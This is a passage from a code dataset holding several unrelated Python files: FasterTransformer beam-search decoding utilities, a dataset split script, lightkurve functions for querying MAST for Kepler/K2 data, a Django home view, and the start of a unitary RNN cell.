torch.reshape(parent_ids, shape)\n if output_ids.is_cuda:\n if args.ths:\n torch.classes.load_library(args.ths_path)\n ids = torch.ops.fastertransformer.gather_tree(output_ids.to(torch.int32), parent_ids.to(torch.int32), max_lens.to(torch.int32), end_id)\n else:\n sys.path.insert(0, os.path.abspath(args.module_path))\n from th_fastertransformer import gather_tree as gather_tree_cuda\n ids = gather_tree_cuda(output_ids.to(torch.int32), parent_ids.to(torch.int32), max_lens.to(torch.int32), end_id)\n else:\n ids = gather_tree(output_ids, parent_ids, max_lens, end_id)\n ids = torch.einsum('ijk->jki', ids) # batch_size, beam_size, max_seq_len\n lengths = torch.eq(ids, end_id)\n lengths = 1 - lengths.to(output_ids.dtype)\n lengths = torch.sum(lengths, -1)\n return ids, lengths\n\n\nclass FTDecoderLayer(nn.Module):\n def __init__(self, head_num, head_size, weights, args):\n super().__init__()\n self.args = args\n if args.ths:\n torch.classes.load_library(args.ths_path)\n self.dec_layer = torch.classes.FasterTransformerDecoder(head_num, head_size, *weights)\n else:\n sys.path.insert(0, os.path.abspath(args.module_path))\n from th_fastertransformer import FasterTransformerDecoder\n self.dec_layer = FasterTransformerDecoder(head_num, head_size, *weights)\n \n def forward(self, inputs, memory, memory_seq_lens, self_cache, mem_cache):\n if self.args.data_type == 'fp16':\n self_cache_tmp = torch.zeros(2, 1, self_cache.size(2), self_cache.size(3), dtype=torch.half).cuda()\n else:\n self_cache_tmp = torch.zeros(2, 1, self_cache.size(2), self_cache.size(3)).cuda()\n self_cache = torch.cat([self_cache, self_cache_tmp], 1)\n output = self.dec_layer.forward(inputs, memory, memory_seq_lens, self_cache, mem_cache)\n return output, self_cache, mem_cache\n\n\nclass TransformerDecoder(DecoderBase):\n \"\"\"The Transformer decoder from \"Attention is All You Need\".\n Args:\n num_layers (int): number of encoder layers.\n d_model (int): size of the model\n heads (int): number of heads\n d_ff (int): size of the inner FF layer\n copy_attn (bool): if using a separate copy attention\n self_attn_type (str): type of self-attention scaled-dot, average\n dropout (float): dropout in residual, self-attn(dot) and feed-forward\n attention_dropout (float): dropout in context_attn (and self-attn(avg))\n embeddings (onmt.modules.Embeddings):\n embeddings to use, should have positional encodings\n max_relative_positions (int):\n Max distance between inputs in relative positions representations\n aan_useffn (bool): Turn on the FFN layer in the AAN decoder\n full_context_alignment (bool):\n whether enable an extra full context decoder forward for alignment\n alignment_layer (int): N° Layer to supervise with for alignment guiding\n alignment_heads (int):\n N. of cross attention heads to use for alignment guiding\n \"\"\"\n\n def __init__(self, num_layers, d_model, heads, d_ff,\n copy_attn, self_attn_type, dropout, attention_dropout,\n embeddings, max_relative_positions, aan_useffn,\n full_context_alignment, alignment_layer,\n alignment_heads, args):\n super(TransformerDecoder, self).__init__()\n\n self.args = args\n self.embeddings = embeddings\n\n # Decoder State\n self.state = {}\n\n self.transformer_layers = nn.ModuleList(\n [TransformerDecoderLayer(d_model, heads, d_ff, dropout,\n attention_dropout, self_attn_type=self_attn_type,\n max_relative_positions=max_relative_positions,\n aan_useffn=aan_useffn,\n full_context_alignment=full_context_alignment,\n alignment_heads=alignment_heads)\n for i in range(num_layers)])\n\n # previously, there was a GlobalAttention module here for copy\n # attention. But it was never actually used -- the \"copy\" attention\n # just reuses the context attention.\n self._copy = copy_attn\n self.layer_norm = nn.LayerNorm(d_model, eps=1e-6)\n\n self.alignment_layer = alignment_layer\n\n @classmethod\n def from_opt(cls, opt, embeddings, args):\n \"\"\"Alternate constructor.\"\"\"\n return cls(\n opt.dec_layers,\n opt.dec_rnn_size,\n opt.heads,\n opt.transformer_ff,\n opt.copy_attn,\n opt.self_attn_type,\n opt.dropout[0] if type(opt.dropout) is list else opt.dropout,\n opt.attention_dropout[0] if type(opt.attention_dropout)\n is list else opt.dropout,\n embeddings,\n opt.max_relative_positions,\n opt.aan_useffn,\n opt.full_context_alignment,\n opt.alignment_layer,\n alignment_heads=opt.alignment_heads,\n args=args)\n\n def init_state(self, src, memory_bank, enc_hidden):\n \"\"\"Initialize decoder state.\"\"\"\n self.state[\"src\"] = src\n self.state[\"cache\"] = None\n\n def map_state(self, fn):\n def _recursive_map(struct, batch_dim=0):\n for k, v in struct.items():\n if v is not None:\n if isinstance(v, dict):\n _recursive_map(v, batch_dim)\n else:\n struct[k] = fn(v, batch_dim)\n\n self.state[\"src\"] = fn(self.state[\"src\"], 1)\n if self.args.model_type == 'ori' or self.args.model_type == 'torch_decoding':\n if self.state[\"cache\"] is not None:\n _recursive_map(self.state[\"cache\"])\n if self.args.model_type == 'decoder_ext' or self.args.model_type == 'torch_decoding_with_decoder_ext':\n if self.state[\"cache\"] is not None:\n _recursive_map(self.state[\"cache\"], 2)\n\n def detach_state(self):\n self.state[\"src\"] = self.state[\"src\"].detach()\n\n def forward(self, tgt, memory_bank, step=None, **kwargs):\n \"\"\"Decode, possibly stepwise.\"\"\"\n if step == 0:\n self._init_cache(memory_bank)\n\n tgt_words = tgt[:, :, 0].transpose(0, 1)\n\n emb = self.embeddings(tgt, step=step)\n assert emb.dim() == 3 # len x batch x embedding_dim\n\n output = emb.transpose(0, 1).contiguous()\n src_memory_bank = memory_bank.transpose(0, 1).contiguous()\n\n pad_idx = self.embeddings.word_padding_idx\n src_lens = kwargs[\"memory_lengths\"]\n\n if self.args.model_type == 'ori' or self.args.model_type == 'torch_decoding':\n src_max_len = self.state[\"src\"].shape[0]\n src_pad_mask = ~sequence_mask(src_lens, src_max_len).unsqueeze(1)\n tgt_pad_mask = tgt_words.data.eq(pad_idx).unsqueeze(1) # [B, 1, T_tgt]\n\n with_align = kwargs.pop('with_align', False)\n attn_aligns = []\n\n for i, layer in enumerate(self.transformer_layers):\n layer_cache = self.state[\"cache\"][\"layer_{}\".format(i)] \\\n if step is not None else None\n output, attn, attn_align = layer(\n output,\n src_memory_bank,\n src_pad_mask,\n tgt_pad_mask,\n layer_cache=layer_cache,\n step=step,\n with_align=with_align)\n if attn_align is not None:\n attn_aligns.append(attn_align)\n elif self.args.model_type == 'decoder_ext' or self.args.model_type == 'torch_decoding_with_decoder_ext':\n src_lens_ = src_lens.to(torch.int)\n for i, layer in enumerate(self.transformer_layers):\n layer_cache = self.state[\"cache\"][\"layer_{}\".format(i)]\n output, self_cache_, mem_cache_ = layer(output, src_memory_bank, src_lens_, layer_cache['self'], layer_cache['mem'])\n layer_cache['self'] = self_cache_\n layer_cache['mem'] = mem_cache_\n\n output = self.layer_norm(output)\n dec_outs = output.transpose(0, 1).contiguous()\n attns = {}\n # attn = attn.transpose(0, 1).contiguous()\n\n # attns = {\"std\": attn}\n # if self._copy:\n # attns[\"copy\"] = attn\n # if with_align:\n # attns[\"align\"] = attn_aligns[self.alignment_layer] # `(B, Q, K)`\n # # attns[\"align\"] = torch.stack(attn_aligns, 0).mean(0) # All avg\n\n # TODO change the way attns is returned dict => list or tuple (onnx)\n return dec_outs, attns\n\n def _init_cache(self, memory_bank):\n self.state[\"cache\"] = {}\n batch_size = memory_bank.size(1)\n depth = memory_bank.size(-1)\n\n if self.args.model_type == 'ori' or self.args.model_type == 'torch_decoding':\n for i, layer in enumerate(self.transformer_layers):\n layer_cache = {\"memory_keys\": None, \"memory_values\": None}\n if isinstance(layer.self_attn, AverageAttention):\n layer_cache[\"prev_g\"] = torch.zeros((batch_size, 1, depth),\n device=memory_bank.device)\n else:\n layer_cache[\"self_keys\"] = None\n layer_cache[\"self_values\"] = None\n self.state[\"cache\"][\"layer_{}\".format(i)] = layer_cache\n elif self.args.model_type == 'decoder_ext' or self.args.model_type == 'torch_decoding_with_decoder_ext':\n max_seq_len = memory_bank.size(0)\n for i in range(len(self.transformer_layers)):\n layer_cache = {}\n if self.args.data_type == 'fp16':\n layer_cache['self'] = torch.zeros(2, 0, batch_size, depth, dtype=torch.half).cuda()\n layer_cache['mem'] = torch.zeros(1, 2, batch_size, max_seq_len, depth, dtype=torch.half).cuda()\n else:\n layer_cache['self'] = torch.zeros(2, 0, batch_size, depth).cuda()\n layer_cache['mem'] = torch.zeros(1, 2, batch_size, max_seq_len, depth).cuda()\n self.state[\"cache\"][\"layer_{}\".format(i)] = layer_cache\n\n def update_dropout(self, dropout, attention_dropout):\n self.embeddings.update_dropout(dropout)\n for layer in self.transformer_layers:\n layer.update_dropout(dropout, attention_dropout)\n\n\nclass CustomDecoding(nn.Module):\n def __init__(self, layer_num, head_num, head_size, vocab_size, start_id, end_id, weights, beam_search_diversity_rate=0.0, args=None):\n super().__init__()\n hidden_dim = head_num * head_size\n self.end_id = end_id\n self.args = args\n if args.ths:\n torch.classes.load_library(os.path.abspath(args.ths_path))\n self.decoding = torch.classes.FasterTransformerDecoding(head_num, head_size, hidden_dim, layer_num, vocab_size, start_id, end_id, beam_search_diversity_rate, *weights.w)\n else:\n sys.path.insert(0, os.path.abspath(args.module_path))\n from th_fastertransformer import FasterTransformerDecoding\n self.decoding = FasterTransformerDecoding(head_num, head_size, hidden_dim, layer_num, vocab_size, start_id, end_id, beam_search_diversity_rate, *weights.w)\n \n def forward(self, batch_size, beam_size, max_seq_len, memory, memory_seq_lens):\n extended_memory = tile(memory, beam_size)\n extended_memory_seq_lens = tile(memory_seq_lens, beam_size)\n output_ids, parent_ids, out_seq_lens = self.decoding.forward(batch_size, beam_size, max_seq_len, extended_memory, extended_memory_seq_lens)\n parent_ids = parent_ids % beam_size\n beams, lengths = finalize(beam_size, output_ids, parent_ids, out_seq_lens, self.end_id, max_seq_len, args=self.args)\n return beams, lengths\n\n\nclass ArgHelper(object):\n def __init__(self, model_type=None, data_type=None, module_path=None, ths=False, ths_path=None):\n self.model_type = model_type\n self.data_type = data_type\n self.module_path = module_path\n self.ths = ths\n self.ths_path = ths_path\n\n\nclass TorchDecoding(nn.Module):\n def __init__(self, layer_num, head_num, head_size, vocab_size, start_id, end_id, weights,\n beam_search_diversity_rate=0.0, args=None):\n super().__init__()\n self.layer_num = layer_num\n self.hidden_dim = head_num * head_size\n self.start_id = start_id\n self.end_id = end_id\n self.vocab_size = vocab_size\n self.diversity_rate = beam_search_diversity_rate\n self.args = args\n emb = Embeddings(self.hidden_dim, vocab_size, 1, position_encoding=True)\n self.decoder = TransformerDecoder(layer_num, self.hidden_dim, head_num, 4*self.hidden_dim,\n False, 'scaled-dot', 0, 0, emb, 0, False, False, -3, 0, args)\n self.generator = nn.Linear(self.hidden_dim, vocab_size)\n self.logsoftmax = nn.LogSoftmax(dim=-1)\n self.module_path = args.module_path\n if args.model_type == 'torch_decoding':\n for i in range(layer_num):\n self.decoder.transformer_layers[i].layer_norm_1.weight.data = weights.w[0][i]\n self.decoder.transformer_layers[i].layer_norm_1.bias.data = weights.w[1][i]\n self.decoder.transformer_layers[i].self_attn.linear_query.weight.data = weights.w[2][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].self_attn.linear_keys.weight.data = weights.w[3][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].self_attn.linear_values.weight.data = weights.w[4][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].self_attn.linear_query.bias.data = weights.w[5][i]\n self.decoder.transformer_layers[i].self_attn.linear_keys.bias.data = weights.w[6][i]\n self.decoder.transformer_layers[i].self_attn.linear_values.bias.data = weights.w[7][i]\n self.decoder.transformer_layers[i].self_attn.final_linear.weight.data = weights.w[8][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].self_attn.final_linear.bias.data = weights.w[9][i]\n self.decoder.transformer_layers[i].layer_norm_2.weight.data = weights.w[10][i]\n self.decoder.transformer_layers[i].layer_norm_2.bias.data = weights.w[11][i]\n self.decoder.transformer_layers[i].context_attn.linear_query.weight.data = weights.w[12][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].context_attn.linear_keys.weight.data = weights.w[13][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].context_attn.linear_values.weight.data = weights.w[14][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].context_attn.linear_query.bias.data = weights.w[15][i]\n self.decoder.transformer_layers[i].context_attn.linear_keys.bias.data = weights.w[16][i]\n self.decoder.transformer_layers[i].context_attn.linear_values.bias.data = weights.w[17][i]\n self.decoder.transformer_layers[i].context_attn.final_linear.weight.data = weights.w[18][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].context_attn.final_linear.bias.data = weights.w[19][i]\n self.decoder.transformer_layers[i].feed_forward.layer_norm.weight.data = weights.w[20][i]\n self.decoder.transformer_layers[i].feed_forward.layer_norm.bias.data = weights.w[21][i]\n self.decoder.transformer_layers[i].feed_forward.w_1.weight.data = weights.w[22][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].feed_forward.w_1.bias.data = weights.w[23][i]\n self.decoder.transformer_layers[i].feed_forward.w_2.weight.data = weights.w[24][i].transpose(-1, -2).contiguous()\n self.decoder.transformer_layers[i].feed_forward.w_2.bias.data = weights.w[25][i]\n elif args.model_type == 'torch_decoding_with_decoder_ext':\n w = []\n for i in range(layer_num):\n w.append([weights.w[j][i].clone().detach() for j in range(26)])\n for i in range(len(w[-1])):\n w[-1][i] = w[-1][i].cuda()\n if args.data_type == 'fp16':\n for i in range(len(w[-1])):\n w[-1][i] = w[-1][i].half()\n decoder_layers = nn.ModuleList(\n [FTDecoderLayer(head_num, head_size, w[i], args) for i in range(layer_num)])\n self.decoder.transformer_layers = decoder_layers\n else:\n raise ValueError('wrong model_type')\n self.decoder.layer_norm.weight.data = weights.w[26]\n self.decoder.layer_norm.bias.data = weights.w[27]\n self.decoder.embeddings.make_embedding.emb_luts[0].weight.data = weights.w[28]\n self.generator.weight.data = weights.w[30].transpose(-1, -2).contiguous()\n self.generator.bias.data = weights.w[31]\n\n def forward(self, batch_size, beam_size, max_seq_len, memory, memory_seq_lens):\n extended_memory = tile(memory, beam_size)\n batchxbeam = extended_memory.size(0)\n extended_memory = extended_memory.transpose(0, 1).contiguous()\n\n extended_memory_seq_lens = tile(memory_seq_lens, beam_size)\n start_ids = extended_memory_seq_lens.new_full((batchxbeam,), self.start_id, dtype=torch.int64)\n\n initial_log_probs = extended_memory.new_full((beam_size,), -float(\"inf\"), dtype=torch.float32)\n initial_log_probs[0] = 0.\n initial_log_probs = initial_log_probs.repeat(batch_size)\n sequence_lengths = extended_memory_seq_lens.new_full((batchxbeam,), 0)\n finished = extended_memory_seq_lens.new_full((batchxbeam,), 0, dtype=torch.bool)\n\n dtype_info = torch.finfo(extended_memory.dtype)\n eos_max_prob = extended_memory.new_full((batchxbeam, self.vocab_size), dtype_info.min)\n eos_max_prob[:, self.end_id] = dtype_info.max\n\n self.decoder.init_state(extended_memory, extended_memory, None)\n word_ids = start_ids\n cum_log_probs = initial_log_probs\n\n for step in range(max_seq_len):\n if not torch.bitwise_not(finished).any():\n break\n word_ids = word_ids.view(1, -1, 1)\n dec_out, dec_attn = self.decoder(word_ids, extended_memory, memory_lengths=extended_memory_seq_lens, step=step)\n logits = self.generator(dec_out.squeeze(0))\n logits = torch.where(finished.view(-1, 1), eos_max_prob, logits).to(torch.float32)\n log_probs = self.logsoftmax(logits.to(torch.float32))\n\n total_probs = log_probs + torch.unsqueeze(cum_log_probs, 1)\n total_probs = total_probs.view(-1, beam_size * self.vocab_size)\n\n # beamsearch\n # _, sample_ids = torch.topk(total_probs, beam_size)\n # sample_ids = sample_ids.view(-1)\n\n #diversesiblingsearch\n sibling_score = torch.arange(1, beam_size+1).to(total_probs.dtype).to(extended_memory.device) * self.diversity_rate # [beam_size]\n scores, ids = torch.topk(total_probs.view(-1, beam_size, self.vocab_size), beam_size) # [batch size, beam width, beam width]\n scores = scores + sibling_score # [batch size, beam width, beam width]\n scores = scores.view(-1, beam_size * beam_size)\n ids = ids + torch.unsqueeze(torch.unsqueeze(torch.arange(0, beam_size).to(extended_memory.device) * self.vocab_size, 0), -1)\n ids = ids.view(-1, beam_size * beam_size)\n _, final_ids = torch.topk(scores, beam_size) # [batch size, beam size]\n final_ids = final_ids.view(-1, 1)\n batch_index = torch.arange(0, batch_size).to(extended_memory.device).view(-1, 1).repeat(1, beam_size).view(-1, 1)\n index = torch.cat([batch_index, final_ids], 1)\n sample_ids = gather_nd(ids, index)\n\n word_ids = sample_ids % self.vocab_size # [batch_size * beam_size]\n beam_ids = sample_ids // self.vocab_size # [batch_size * beam_size]\n beam_indices = (torch.arange(batchxbeam).to(extended_memory.device) // beam_size) * beam_size + beam_ids\n\n sequence_lengths = torch.where(finished, sequence_lengths, sequence_lengths + 1)\n\n batch_pos = torch.arange(batchxbeam).to(extended_memory.device) // beam_size\n next_cum_log_probs = gather_nd(total_probs, torch.stack([batch_pos, sample_ids], -1)) # [batch_size * beam_size]\n finished = finished.index_select(0, beam_indices)\n sequence_lengths = sequence_lengths.index_select(0, beam_indices)\n\n self.decoder.map_state(lambda state, dim: state.index_select(dim, beam_indices))\n if step == 0:\n parent_ids = beam_ids.view(1, -1)\n output_ids = word_ids.view(1, -1)\n else:\n parent_ids = torch.cat((parent_ids, beam_ids.view(1, -1)))\n output_ids = torch.cat((output_ids, word_ids.view(1, -1)))\n cum_log_probs = torch.where(finished, cum_log_probs, next_cum_log_probs)\n finished = torch.bitwise_or(finished, torch.eq(word_ids, self.end_id))\n \n beams, lengths = finalize(beam_size, output_ids, parent_ids, sequence_lengths, self.end_id, args=self.args)\n return beams, lengths\n","sub_path":"FasterTransformer/v2.1/sample/pytorch/utils/decoding.py","file_name":"decoding.py","file_ext":"py","file_size_in_byte":34527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"57525888","text":"import argparse\nfrom torch.utils.data import Dataset, DataLoader, random_split\nfrom wisdomify.datasets import WisdomDataModule\nfrom wisdomify.loaders import load_conf\nfrom wisdomify.paths import WISDOMDATA_VER_1_DIR\nfrom os import path\nimport csv\nimport random\n\nTRAIN_RATIO = 0.8\nrandom.seed(318)\n\n\ndef main():\n wisdom2eg_tsv_path = path.join(WISDOMDATA_VER_1_DIR, \"wisdom2eg.tsv\")\n wisdom2sent = WisdomDataModule.load_wisdom2sent(wisdom2eg_tsv_path)\n n_total_data = len(wisdom2sent)\n n_train = int(n_total_data * TRAIN_RATIO)\n random.shuffle(wisdom2sent)\n wisdom2sent_train = wisdom2sent[:n_train]\n wisdom2sent_test = wisdom2sent[n_train:]\n\n # save them\n with open(path.join(WISDOMDATA_VER_1_DIR, \"wisdom2eg_train.tsv\"), 'w') as fh:\n tsv_writer = csv.writer(fh, delimiter=\"\\t\")\n tsv_writer.writerow([\"wisdom\", \"eg\"])\n for row in wisdom2sent_train:\n tsv_writer.writerow(row)\n\n with open(path.join(WISDOMDATA_VER_1_DIR, \"wisdom2eg_test.tsv\"), 'w') as fh:\n tsv_writer = csv.writer(fh, delimiter=\"\\t\")\n tsv_writer.writerow([\"wisdom\", \"eg\"])\n for row in wisdom2sent_test:\n tsv_writer.writerow(row)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"wisdomify/examples/split_version_1.py","file_name":"split_version_1.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"640253048","text":"\"\"\"Functions which wrap `astroquery.mast` to obtain Kepler/K2 data from MAST.\"\"\"\n\nfrom __future__ import division, print_function\n\nimport numpy as np\nfrom astroquery.mast import Observations\nfrom astroquery.exceptions import ResolverError\n\n\nclass ArchiveError(Exception):\n \"\"\"Raised if there is a problem accessing data.\"\"\"\n pass\n\n\ndef download_products(products):\n \"\"\"Download data products from MAST.\n\n Downloads will be cached using astroquery.mast's caching system.\n\n Parameters\n ----------\n products : astropy.Table\n A table detailing the products to be downloaded, i.e. the output\n of `search_kepler_products` or `search_kepler_tpf_products`.\n\n Returns\n -------\n paths : astropy.Table.Column\n Detailing the paths of the downloaded or cached products.\n \"\"\"\n # Note: by default, MAST will only let us download \"Minimum Recommended\n # Products\" (MRPs), which do not include e.g. Target Pixel Files.\n # We need to set `mrp=False` to ensure MAST downloads whatever we want.\n dl = Observations.download_products(products, mrp_only=False)\n return dl['Local Path']\n\n\ndef search_kepler_products(target):\n \"\"\"Returns a table of Kepler/K2 pipeline products for a given target.\n\n Raises an ArchiveError if no products are found.\n\n Parameters\n ----------\n target : str or int\n If the value is an integer in a specific range, we'll assume it is\n a KIC or EPIC ID.\n\n Returns\n -------\n products : astropy.Table\n Table detailing the available data products.\n \"\"\"\n try:\n # If `target` looks like a KIC or EPIC ID, we will pass the exact\n # `target_name` under which MAST will know the object.\n target = int(target)\n if (target > 0) and (target < 200000000):\n target_name = 'kplr{:09d}'.format(target)\n elif (target > 200000000) and (target < 300000000):\n target_name = 'ktwo{:09d}'.format(target)\n else:\n raise ValueError(\"Not in the Kepler KIC or EPIC ID range\")\n obs = Observations.query_criteria(target_name=target_name,\n project=[\"Kepler\", \"K2\"])\n except ValueError:\n # If `target` did not look like a KIC or EPIC ID, then we let MAST\n # resolve the target name to a sky position.\n try:\n obs = Observations.query_criteria(objectname=target,\n radius='1 arcsec',\n project=[\"Kepler\", \"K2\"])\n except ResolverError as exc:\n raise ArchiveError(exc)\n return Observations.get_product_list(obs)\n\n\ndef search_kepler_tpf_products(target, cadence='long', quarter=None,\n campaign=None):\n \"\"\"Returns a table of Kepler or K2 Target Pixel Files for a given target.\n\n Parameters\n ----------\n cadence: 'short' or 'long'\n Specify short (1-min) or long (30-min) cadence data.\n quarter, campaign : int\n Specify the Kepler Quarter or K2 Campaign Number.\n If None, then return the products for all Quarters/Campaigns.\n\n Returns\n -------\n products : astropy.Table\n Table detailing the available Target Pixel File products.\n \"\"\"\n products = search_kepler_products(target)\n # Because MAST doesn't let us query based on Kepler-specific meta data\n # fields, we need to identify short/long-cadence TPFs by their filename.\n if cadence in ['short', 'sc']:\n suffix = \"spd-targ\"\n else:\n suffix = \"lpd-targ\"\n mask = np.array([suffix in fn for fn in products['productFilename']])\n # Identify the campaign or quarter by the description.\n quarter_or_campaign = campaign if campaign is not None else quarter\n if quarter_or_campaign is not None:\n mask &= np.array([desc.lower().endswith('q{}'.format(quarter_or_campaign)) or\n desc.lower().endswith('c{:02d}'.format(quarter_or_campaign)) or\n desc.replace('-','').lower().endswith('c{:03d}'.format(quarter_or_campaign))\n for desc in products['description']])\n return products[mask]\n\n\ndef search_kepler_lightcurve_products(target, cadence='long', quarter=None,\n campaign=None):\n \"\"\"Returns a table of Kepler or K2 lightcurve files for a given target.\n\n This only returns products produced by the official Kepler pipeline,\n which is not necessarily the best choice for every use case.\n\n Parameters\n ----------\n cadence: 'short' or 'long'\n Specify short (1-min) or long (30-min) cadence data.\n quarter, campaign : int\n Specify the Kepler Quarter or K2 Campaign Number.\n If None, then return the products for all Quarters/Campaigns.\n\n Returns\n -------\n products : astropy.Table\n Table detailing the available Target Pixel File products.\n \"\"\"\n products = search_kepler_products(target)\n # Because MAST doesn't let us query based on Kepler-specific meta data\n # fields, we need to identify short/long-cadence TPFs by their filename.\n if cadence in ['short', 'sc']:\n suffix = \"_slc.fits\"\n else: # long cadence\n suffix = \"_llc.fits\"\n mask = np.array([suffix in fn for fn in products['productFilename']])\n # Identify the campaign or quarter by the description.\n quarter_or_campaign = campaign if campaign is not None else quarter\n if quarter_or_campaign is not None:\n mask &= np.array([desc.lower().endswith('q{}'.format(quarter_or_campaign)) or\n desc.lower().endswith('c{:02d}'.format(quarter_or_campaign)) or\n desc.replace('-','').lower().endswith('c{:03d}'.format(quarter_or_campaign))\n for desc in products['description']])\n return products[mask]\n","sub_path":"lightkurve/mast.py","file_name":"mast.py","file_ext":"py","file_size_in_byte":5868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"632939525","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.shortcuts import render\nfrom django.views.generic import RedirectView\n\nfrom home.models import CustomText, HomePage\n\n\ndef home(request):\n packages = [\n\t{'name':'djangorestframework', 'url': 'http://pypi.python.org/pypi/djangorestframework/3.7.7'},\n\t{'name':'django-bootstrap4', 'url': 'http://pypi.python.org/pypi/django-bootstrap4/0.0.5'},\n\t{'name':'django-allauth', 'url': 'http://pypi.python.org/pypi/django-allauth/0.34.0'},\n ]\n context = {\n 'customtext': CustomText.objects.first(),\n 'homepage': HomePage.objects.first(),\n 'packages': packages\n }\n return render(request, 'home/index.html', context)\n\n\nclass DashboardView(LoginRequiredMixin, RedirectView):\n\n def get_redirect_url(self, *args, **kwargs):\n user = self.request.user\n if user.type == user.TYPE_TASKER:\n return reverse_lazy('tasks:available-task-list')\n return reverse_lazy('tasks:task-create')\n","sub_path":"apps/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"1009989","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue August 7 2018\n\n@author: ldlameida\n\"\"\"\n\"\"\"Module implementing Tunable Efficient Unitary RNN Cell.\n\"\"\"\n\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.python.ops import variable_scope as vs\nfrom tensorflow.python.ops.rnn_cell_impl import RNNCell\n\ndef modrelu(z, b):\n z_norm = tf.sqrt(tf.square(tf.real(z)) + tf.square(tf.imag(z))) + 0.00001\n step1 = z_norm + b\n step2 = tf.complex(tf.nn.relu(step1), tf.zeros_like(z_norm))\n step3 = z/tf.complex(z_norm, tf.zeros_like(z_norm)) \n return tf.multiply(step3, step2)\n\n\ndef _complexrnn_param(hidden_size, capacity=2):\n \"\"\"\n Create parameters and do the initial preparations\n \"\"\"\n theta_phi_initializer = tf.random_uniform_initializer(-np.pi, np.pi)\n capacity_b = capacity//2\n capacity_a = capacity - capacity_b\n\n hidden_size_a = hidden_size//2\n hidden_size_b = (hidden_size-1)//2\n\n params_theta_0 = vs.get_variable(\"theta_0\", [capacity_a, hidden_size_a], initializer=theta_phi_initializer)\n cos_theta_0 = tf.reshape(tf.cos(params_theta_0), [capacity_a, -1, 1])\n sin_theta_0 = tf.reshape(tf.sin(params_theta_0), [capacity_a, -1, 1])\n\n params_theta_1 = vs.get_variable(\"theta_1\", [capacity_b, hidden_size_b], initializer=theta_phi_initializer)\n cos_theta_1 = tf.reshape(tf.cos(params_theta_1), [capacity_b, -1, 1])\n sin_theta_1 = tf.reshape(tf.sin(params_theta_1), [capacity_b, -1, 1])\n\n params_phi_0 = vs.get_variable(\"phi_0\", [capacity_a, hidden_size_a], initializer=theta_phi_initializer)\n cos_phi_0 = tf.reshape(tf.cos(params_phi_0), [capacity_a, -1, 1])\n sin_phi_0 = tf.reshape(tf.sin(params_phi_0), [capacity_a, -1, 1])\n\n cos_list_0_re = tf.reshape(tf.concat([cos_theta_0, tf.multiply(cos_theta_0, cos_phi_0)], 2), [capacity_a, -1])\n cos_list_0_im = tf.reshape(tf.concat([tf.zeros_like(cos_theta_0), tf.multiply(cos_theta_0, sin_phi_0)], 2), [capacity_a, -1])\n if hidden_size_a*2 != hidden_size:\n cos_list_0_re = tf.concat([cos_list_0_re, tf.ones([capacity_a, 1])], 1)\n cos_list_0_im = tf.concat([cos_list_0_im, tf.zeros([capacity_a, 1])], 1)\n cos_list_0 = tf.complex(cos_list_0_re, cos_list_0_im)\n\n sin_list_0_re = tf.reshape(tf.concat([sin_theta_0, - tf.multiply(sin_theta_0, cos_phi_0)], 2), [capacity_a, -1])\n sin_list_0_im = tf.reshape(tf.concat([tf.zeros_like(sin_theta_0), - tf.multiply(sin_theta_0, sin_phi_0)], 2), [capacity_a, -1])\n if hidden_size_a*2 != hidden_size:\n sin_list_0_re = tf.concat([sin_list_0_re, tf.zeros([capacity_a, 1])], 1)\n sin_list_0_im = tf.concat([sin_list_0_im, tf.zeros([capacity_a, 1])], 1)\n sin_list_0 = tf.complex(sin_list_0_re, sin_list_0_im)\n\n params_phi_1 = vs.get_variable(\"phi_1\", [capacity_b, hidden_size_b], initializer=theta_phi_initializer)\n cos_phi_1 = tf.reshape(tf.cos(params_phi_1), [capacity_b, -1, 1])\n sin_phi_1 = tf.reshape(tf.sin(params_phi_1), [capacity_b, -1, 1])\n\n cos_list_1_re = tf.reshape(tf.concat([cos_theta_1, tf.multiply(cos_theta_1, cos_phi_1)], 2), [capacity_b, -1])\n cos_list_1_re = tf.concat([tf.ones((capacity_b, 1)), cos_list_1_re], 1)\n cos_list_1_im = tf.reshape(tf.concat([tf.zeros_like(cos_theta_1), tf.multiply(cos_theta_1, sin_phi_1)], 2), [capacity_b, -1])\n cos_list_1_im = tf.concat([tf.zeros((capacity_b, 1)), cos_list_1_im], 1)\n if hidden_size_b*2 != hidden_size-1:\n cos_list_1_re = tf.concat([cos_list_1_re, tf.ones([capacity_b, 1])], 1)\n cos_list_1_im = tf.concat([cos_list_1_im, tf.zeros([capacity_b, 1])], 1)\n cos_list_1 = tf.complex(cos_list_1_re, cos_list_1_im)\n\n sin_list_1_re = tf.reshape(tf.concat([sin_theta_1, -tf.multiply(sin_theta_1, cos_phi_1)], 2), [capacity_b, -1])\n sin_list_1_re = tf.concat([tf.zeros((capacity_b, 1)), sin_list_1_re], 1)\n sin_list_1_im = tf.reshape(tf.concat([tf.zeros_like(sin_theta_1), -tf.multiply(sin_theta_1, sin_phi_1)], 2), [capacity_b, -1])\n sin_list_1_im = tf.concat([tf.zeros((capacity_b, 1)), sin_list_1_im], 1)\n if hidden_size_b*2 != hidden_size-1:\n sin_list_1_re = tf.concat([sin_list_1_re, tf.zeros([capacity_b, 1])], 1)\n sin_list_1_im = tf.concat([sin_list_1_im, tf.zeros([capacity_b, 1])], 1)\n sin_list_1 = 